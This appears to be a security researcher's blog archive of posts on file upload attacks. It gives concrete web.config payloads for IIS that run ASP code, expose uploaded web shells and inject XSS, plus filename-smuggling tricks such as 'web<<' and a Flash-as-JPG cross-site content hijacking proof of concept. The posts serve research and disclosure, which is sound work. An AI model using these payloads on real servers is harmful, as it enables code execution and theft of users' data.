Tag Archives: file upload

Upload a web.config File for Fun & Profit

The web.config file plays an important role in storing IIS7 (and higher) settings. It is very similar to a .htaccess file in Apache web server. Uploading a .htaccess file to bypass protections around the uploaded files is a known technique. Some interesting examples of this technique are accessible via the following GitHub repository: https://github.com/wireghoul/htshells

In IIS7 (and higher), it is possible to do similar tricks by uploading or making a web.config file. A few of these tricks might even be applicable to IIS6 with some minor changes. The techniques below show some different web.config files that can be used to bypass protections around the file uploaders.

Running web.config as an ASP file

Sometimes IIS supports ASP files but it is not possible to upload any file with .ASP extension. In this case, it is possible to use a web.config file directly to run ASP classic codes:

<?xml version="1.0" encoding="UTF-8"?>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />         
               <remove fileExtension=".config" />
               <remove segment="web.config" />
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
' it is running the ASP code if you can see 3 by opening the web.config file!

Removing protections of hidden segments

Sometimes file uploaders rely on Hidden Segments of IIS Request Filtering such as APP_Data or App_GlobalResources directories to make the uploaded files inaccessible directly.

However, this method can be bypassed by removing the hidden segments by using the following web.config file:

<?xml version="1.0" encoding="UTF-8"?>
                    <remove segment="bin" />
                    <remove segment="App_code" />
                    <remove segment="App_GlobalResources" />
                    <remove segment="App_LocalResources" />
                    <remove segment="App_Browsers" />
                    <remove segment="App_WebReferences" />
                    <remove segment="App_Data" />
					<!--Other IIS hidden segments can be listed here -->

Now, an uploaded web shell file can be directly accessible.

Creating XSS vulnerability in IIS default error page

Often attackers want to make a website vulnerable to cross-site scripting by abusing the file upload feature.

The handler name of IIS default error page is vulnerable to cross-site scripting which can be exploited by uploading a web.config file that contains an invalid handler name (does not work in IIS 6 or below):

<?xml version="1.0" encoding="UTF-8"?>
         <!-- XSS by using *.config -->
         <add name="web_config_xss&lt;script&gt;alert('xss1')&lt;/script&gt;" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="fooo" resourceType="Unspecified" requireAccess="None" preCondition="bitness64" />
         <!-- XSS by using *.test -->
         <add name="test_xss&lt;script&gt;alert('xss2')&lt;/script&gt;" path="*.test" verb="*"  />
               <remove fileExtension=".config" />
               <remove segment="web.config" />
   <httpErrors existingResponse="Replace" errorMode="Detailed" />

Other techniques

Rewriting or creating the web.config file can lead to a major security flaw. In addition to the above scenarios, different web.config files can be used in different situations. I have listed some other examples below (a relevant web.config syntax can be easily found by searching in Google):

Re-enabling .Net extensions: When .Net extensions such as .ASPX are blocked in the upload folder.
Using an allowed extension to run as another extension: When ASP, PHP, or other extensions are installed on the server but they are not allowed in the upload directory.
Abusing error pages or URL rewrite rules to redirect users or deface the website: When the uploaded files such as PDF or JavaScript files are in use directly by the users.
Manipulating MIME types of uploaded files: When it is not possible to upload a HTML file (or other sensitive client-side files) or when IIS MIME types table is restricted to certain extensions.

Targeting more users via client-side attacks

Files that have already been uploaded to the website and have been used in different places can be replaced with other contents by using the web.config file. As a result, an attacker can potentially target more users to exploit client-side issues such as XSS or cross-site data hijacking by replacing or redirecting the existent uploaded files.

Additional Tricks

Sometimes it is not possible to upload or create a web.config file directly. In this case, copy, move, or rename functionality of the web application can be abused to create a web.config file.

Alternate Data Stream feature can also be useful for this purpose. For example, “web.config::$DATA” can create a web.config file with the uploaded file contents, or “web.config:.txt” can be used to create an empty web.config file; and when a web.config file is available in the upload folder, Windows 8.3 filename (“WEB~1.con”) or PHP on IIS feature (“web<<”) can be used to point at the web.config file.

File Upload and PHP on IIS: >=? and <=* and "=.

In file upload attack, sometimes overwriting existing sensitive files such as web.config, .htaccess, or crossdomain.xml is needed in order to bypass protections around the uploaded files.

I found out that PHP on IIS (I used FastCGI) converts the following characters when it is going to save a file in Windows:

Greater-than symbol (closing angle bracket “>”) TO a question mark (“?”)

Less-than symbol (opening angle bracket “<”) TO an asterisk symbol (“*”)

Double quotation mark (“””) TO a dot character (“.”)

This feature can be abused to bypass file extension protections in which a file uploader accepts a file name without any extension or uses a blacklist method to check the file name and extension.

Now as an example, in order to overwrite a web.config file in the upload directory when the .config extension is blocked, it is possible to use “filename=”web<<“” in the file upload request. If “web**” replaces another file in the same directory (for example web.aspx), another combination can be used such as “filename=”web<<>fig”” or “filename=’web”config’”.

Note 1: Windows 8.3 feature could also be used but it would rename the web.config file to web~1.con in the end.

Note 2: Asterisk and question mark symbols cannot be used directly as the file system rejects them.

Note 3: Sometimes WordPress replaces double and single quotation marks with visually similar symbols. Therefore, it is recommended to type the vectors yourself in Burp Suite or other proxies that you use instead of copy/paste them directly from here.

You can also see the first version of my “File in The Hole” slides located at the following URL: https://soroush.secproject.com/blog/2012/11/file-in-the-hole/

I have found this technique myself so please send me a link if you had seen it somewhere else before, and I will add its link here as well.

Updates – similar efforts on this topic (this method was known before as expected!): 





Even uploading a JPG file can lead to Cross-Site Content Hijacking (client-side attack)!


This post is going to introduce a new technique that has not been covered previously in other topics that are related to file upload attacks such as Unrestricted file upload and File in the hole.

Update 3 (01/11/2016)

 Title was changed from “Cross Domain Data Hijacking” to “Cross-Site Content Hijacking” to reflect the issue better. This issue can also be called “Cross-Site Data Hijacking“. The recommendations section was updated as well.

The following posts were created based on this topic:



The following tool was created to exploit this issue as a proof of concept – this project covers multiple methods such as by using Flash, PDF, or Silverlight:


Update 2 (21/05/2014)

Ok! People in twitter were very resourceful and reminded me that this was not in fact a new technique and some other bug bounty hunters are already using it in their advisories! I wish they had documented this properly before. The following links are related to this topic: (Content-Type Blues)

https://bounty.github.com/researchers/adob.html (Flash content-type sniffing)

Update 1 (21/05/2014):

It seems @fransrosen and @avlidienbrunn were quicker than me in publishing this technique! Yesterday they have published a very good blog post about this issue: http://blog.detectify.com/post/86298380233/the-pitfalls-of-allowing-file-uploads-on-your-website

I highly recommend the readers to read the other blog post as well especially for its nice JSONP trick.

I wanted to wait until end of this week to publish mine but now that this technique is already published, I release my post too. The draft version of this post and PoCs were ready before but I was not sure when I am going to publish this as it would affect a lot of websites; this was a note for bug bounty hunters!

The only point of this blog post now is the way that I had looked at the issue initially.

How safe is the file uploader?

Imagine that there is a file uploader that properly validates the uploaded file’s extension by using a white-list method. This file uploader only allows a few non-dangerous extensions such as .jpg, .png, and .txt. Moreover, it checks the filename to not contain any non-alphanumeric characters!

This seems to be a simple and a safe method to protect the server and its users if risks of file processors’ bugs and file inclusion attacks have already been accepted.

What can possibly go wrong?

This file uploader does not have any validation for the file’s content and therefore it is possible to upload a malicious file with a safe name and extension on the server. However, when the server is properly configured, this file cannot be run on the server. Moreover, the file will be sent to the client with an appropriate content-type such a text/plain or image/jpeg; as a result, an attacker cannot exploit a cross-site scripting issue by opening the uploaded file directly in the browser.

Enforcing the content-type by using an OBJECT tag!

If we could change the file’s content-type for the browsers, we would be able to exploit this issue! But nowadays this is not simply possible directly as this counts as a security issue for the browser…

I knew straight away that the “OBJECT” tag has a “TYPE” attribute but I was not sure which content-types will force the browser to actually load the object instead of showing the contents (“OBJECT” tag can act as an IFrame). I have created a test file (located at http://0me.me/demo/SOP/ObjectMimeType.html) that loads the object tags with the different mime-types and the result is as follows (Java and Silverlight were not installed):

“application/futuresplash”: load the file as a Flash object

“application/x-shockwave-flash”: load the file as a Flash object

“text/x-component”: only works in IE to load .htc files(?)

“application/pdf” and a few others: load the file as a PDF object

The result can be different with having different plugins installed.

So I can load any uploaded file as a flash file. Now I can upload a malicious flash file into the victim’s server as a .JPG file, and then load it as flash file in my own website. Please note that there is no point for me to upload a flash file that is vulnerable to XSS as it would run under my website’s domain instead of the target.


I found out that the embedded flash can still communicate with its source domain without checking the cross-domain policy. This makes sense as the flash file belongs to the victim’s website actually.

As a result, the flash file that has been uploaded as a .JPG file in the victim’s website can load important files of the victim’s website by using current user’s cookies; then, it can send this information to a JavaScript that is in the attacker’s website which has embedded this JPG file as a Flash file.

The exploitation is like a CSRF attack, you need to send a malicious link to a user who is already logged-in in the victim’s website (it still counts as CSRF even if you are not logged-in but this is out the scope of this post). The malicious Flash should have already been uploaded in the victim’s website. If the uploader is vulnerable to a CSRF attack itself, an attacker can first upload a malicious Flash file and then use it to hijack the sensitive data of the user or perform further CSRF attacks.

As a result, an attacker can collect valuable information that are in the response of different pages of the victim’s website such as users’ data, CSRF tokens, etc.

The following demonstrates this issue:

A) 0me.me = attacker’s website

B) sdl.me = victim’s website

C) A JPG file that is actually a Flash file has already been uploaded in the victim’s website: http://sdl.me/PoCs/CrossDomainDataHijack.jpg

(Source code of this Flash file is accessible via the following link:

http://0me.me/demo/SOP/CrossDomainDataHijack.as.txt )

D) There is a secret file in the victim’s website (sdl.me) that we are going to read by using the attacker’s website (0me.me): http://sdl.me/PoCs/secret.asp?mysecret=original

E) Note that the victim’s website does not have any crossdomain.xml file: http://sdl.me/crossdomain.xml

F) Now an attacker sends the following malicious link to a user of sdl.me (the victim’s website):


By pressing the “RUN” button, 0me.me (attacker’s website) website can read contents of the secret.asp file which was in sdl.me (victim’ website). This is just a demo file that could be completely automated in a real scenario.

Note: If another website such as Soroush.me has added sdl.me as trusted in its crossdomain.xml file, the attacker’s website can also now read the contents of Soroush.me by using this vulnerability.


An attacker cannot read the cookies of the victim.com website.

An attacker cannot run a JavaScript code directly by using this issue.

Future works

Other client-side technologies such as PDF, Java applets, and Silverlight might be used instead of the Flash technology.

Bypassing the Flash security sandbox when a website uses “Content-Disposition: attachment;” can also be a research topic. If somebody bypasses this, many mail servers and file repositories will become vulnerable.


Please find the recommendations in the following project: https://github.com/nccgroup/CrossSiteContentHijacking

File in the hole! – HackPra slides

Last week, I had a talk in Bochum University about file upload vulnerabilities. I am going to share the slides and clips with you as they are already public via HackPra website:


I have been told that the video will be available soon as well. I really recommend that you see the other talks in that website too.

Here are my slides in different formats:

Download the Power Point format

Download the PDF format

In this talk, I had revealed some 0days as examples (vendors already know about these issues):

File Upload Protection bypass in FCKEditor 2.6.8 ASP version (Mostafa Azizi, Soroush Dalili) [Page 53 of Power Point file]

Denial of Service issue in FCKEditor 2.6.8/CKFinder 2.3 (Soroush Dalili) [Page 54 of Power Point file]

Directory Traversal in GleamTech Filevista (Soroush Dalili) [Page 22 of Power Point file]

You may be able to find similar issues in other web applications that have file upload functionality by using some of these methods.


Note: Quick patch for FCKEditor 2.6.8 File Upload Bypass:

In “config.asp”, wherever you have:

      ConfigAllowedExtensions.Add    “File”,”Extensions Here”

Change it to:

      ConfigAllowedExtensions.Add    “File”,”^(Extensions Here)$”